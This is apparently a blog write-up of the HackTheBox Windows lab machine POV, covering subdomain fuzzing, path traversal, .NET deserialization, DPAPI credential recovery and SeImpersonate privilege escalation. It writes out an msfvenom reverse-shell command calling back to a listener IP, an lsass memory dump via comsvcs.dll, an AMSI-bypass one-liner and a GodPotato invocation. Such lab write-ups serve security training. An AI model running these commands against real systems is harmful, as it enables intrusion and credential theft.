HTB: POV Writeup
← Back to the log
November 23, 2026·johnytiger

HTB: POV Writeup

Portfolio subdomain hiding a .NET deserialization foothold, DPAPI credential recovery through a stored connection.xml, and a stubborn SeImpersonate privesc that ended with a GodPotato one-shot read of root.txt.

securityctfwriteuphacktheboxwindowsactive-directoryprivesc

POV is a Windows machine from HackTheBox that looked like a casual portfolio site on the surface and ended up being a solid walk through a .NET deserialization foothold, a PowerShell DPAPI credential recovery, and a chain of SYSTEM privesc attempts that forced us to get creative with SeImpersonatePrivilege. Here is how we took it from an open port 80 to a root shell.

Recon and subdomain discovery

The nmap scan only gave us one service — a website on pov.htb. We added that to our hosts file and kicked off both gobuster and ffuf to look for directories and subdomains.

ffuf -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt \
  -u http://pov.htb/ -H "Host: FUZZ.pov.htb" -fs 12330

Running ffuf against pov.htb to brute-force subdomains with a Host-header fuzzer.

Subdomain fuzzing lit up almost immediately with a dev subdomain. Added that one to the hosts file too.

ffuf finds the dev.pov.htb subdomain almost instantly.

Portfolio site and the Download CV endpoint

The dev subdomain turned out to be someone's developer portfolio page.

The dev.pov.htb landing page — a developer portfolio site with a Download CV button.

I kicked off directory busting on it while poking at the UI:

gobuster dir -u http://dev.pov.htb/ \
  -w /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt \
  -b 404,403,302

While that was running I spotted a Download CV button that invoked a client-exposed JavaScript function for downloading a file. Running it through Burp made the design obvious — the file path is on our end, which means we control what gets downloaded.

Burp Suite showing the Download CV endpoint takes a client-supplied file path.

Swapping the file for ..\web.config happily handed us the ASP.NET application config.

.NET deserialization with ysoserial

A quick read through web.config pointed at a classic .NET deserialization path, so I spun up a Windows VM and used ysoserial.exe to build a gadget wrapping a PowerShell reverse shell:

Using ysoserial.exe on a Windows VM to generate a .NET deserialization gadget wrapping a PowerShell reverse shell.

Saved the blob to payload.enc, started an nc listener on Kali, and curl'd the blob at the site.

Posting the ysoserial payload.enc to the dev site via curl with the nc listener hot.

And it worked.

Reverse shell catches on the Kali listener — we land as sfitz on POV.

sfitz to alaading via connection.xml

We land as sfitz. First thing — hunt for credentials in common file types:

Get-ChildItem -Path C:\Users\sfitz -Recurse -Force `
  -Include .xml,.txt,.ps1,.kdbx,.config,.pfx -ErrorAction SilentlyContinue `
  | Select-Object FullName,Length

BINGO. sfitz has a connection.xml sitting in Documents.

Enumeration pulls up a connection.xml inside sfitz Documents.

Opening it up shows alaading credentials — but the password is a DPAPI-encrypted SecureString, not plaintext.

connection.xml holds alaading credentials but the password is a DPAPI-encrypted SecureString.

The nice thing about DPAPI SecureStrings is that any process running as the user who created them can decrypt them transparently. Since we are sfitz, we just ask PowerShell to do it for us:

$cred = Import-Clixml C:\Users\sfitz\Documents\connection.xml
$cred.GetNetworkCredential().Password

Password in hand. Checking local listeners we see WinRM is up, so I spun up a Ligolo tunnel and hit WinRM as alaading with evil-winrm.

And we are in.

Ligolo tunnel in place, evil-winrm drops us into alaading on POV.

user.txt is sitting on the alaading desktop.

user.txt flag read from alaading desktop (flag value blurred).

Privesc — SeDebugPrivilege and a dead-end lsass dump

Now for privesc. First thing to check is what privileges this account holds:

whoami /priv on alaading shows SeDebugPrivilege enabled — a path to privesc.

SeDebugPrivilege — perfect. That means we can dump lsass. Grab the pid, then MiniDump it:

Get-Process lsass | Select Id
rundll32.exe C:\windows\system32\comsvcs.dll, MiniDump 652 `
  C:\Users\alaading\Desktop\l.dmp full

The dump works and we drag it back to Kali for pypykatz... but it only coughs up hashes for the two users we already have access to. Nothing new to pivot with.

MiniDump of lsass parsed by pypykatz only surfaces users we already own.

Time to find another angle.

SYSTEM shell via service injection

POV has a couple of impersonating services running, and alaading is allowed to inject shellcode into one of them. Build a ps1-formatted reverse shell with msfvenom:

msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.14.211 LPORT=9003 \
  EXITFUNC=thread -f ps1 -o sc.ps1

Building a PowerShell-formatted reverse shell with msfvenom to inject into a running service.

Inject that into the service and wait on nc -lvnp 9003. The callback lands as NT AUTHORITY\LOCAL SERVICE.

Netcat catches the service callback as NT AUTHORITY\LOCAL SERVICE.

Walking to the administrator desktop to grab root.txt gives us Access Denied, as expected. But whoami /priv on this new shell shows SeImpersonatePrivilege — the classic token-impersonation privilege. Time for a potato.

Potato pain and the one-shot workaround

Honestly, this is where I got stuck for a while. I kept trying to use a GodPotato spawn to pop a fresh SYSTEM shell inside the current session, and it kept dying on AMSI or on the handoff between the two token contexts.

Early GodPotato attempts fail to hand us a persistent SYSTEM shell.

After enough dead ends I stopped trying to get a full shell and just used GodPotato as a one-shot — have it run a single SYSTEM command that copies root.txt out to a world-readable staging path, then read that file from the shell I already had.

[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)

$asm = [Reflection.Assembly]::Load([IO.File]::ReadAllBytes("C:\note\GodPotato-NET4.exe"))

$asm.EntryPoint.Invoke($null, @(,[string[]]@(
  "-cmd",
  "cmd /c type C:\Users\Administrator\Desktop\root.txt > C:\Windows\Temp\r.txt && icacls C:\Windows\Temp\r.txt /grant Everyone:R"
)))

Then from the LOCAL SERVICE shell:

type C:\Windows\Temp\r.txt

GodPotato one-shot: copy root.txt out as SYSTEM and read it via the staged file (flag value blurred).

Rooted.

Closing thoughts

The privesc half of this box was genuinely harder than the rating suggests. I went in a loop trying to fully elevate the shell when the right move was to accept that the token-impersonation step was flaky and lean on a single SYSTEM command instead. That is a useful mindset to carry into other boxes — if a technique works for one command, you do not always need a full interactive session to win.

The rest of the chain is a nice reminder of how web-first AD boxes still play: weak subdomain hygiene gives you an app surface, a sloppy client-side download endpoint gives you LFI, .NET deserialization gives you RCE, and a stored connection.xml gets you from one Windows user to another without ever touching a credential dump.

Good machine for OSCP-style practice on web-to-AD pivots and token abuse.

End of transmissionAll posts
Drive
Johnytiger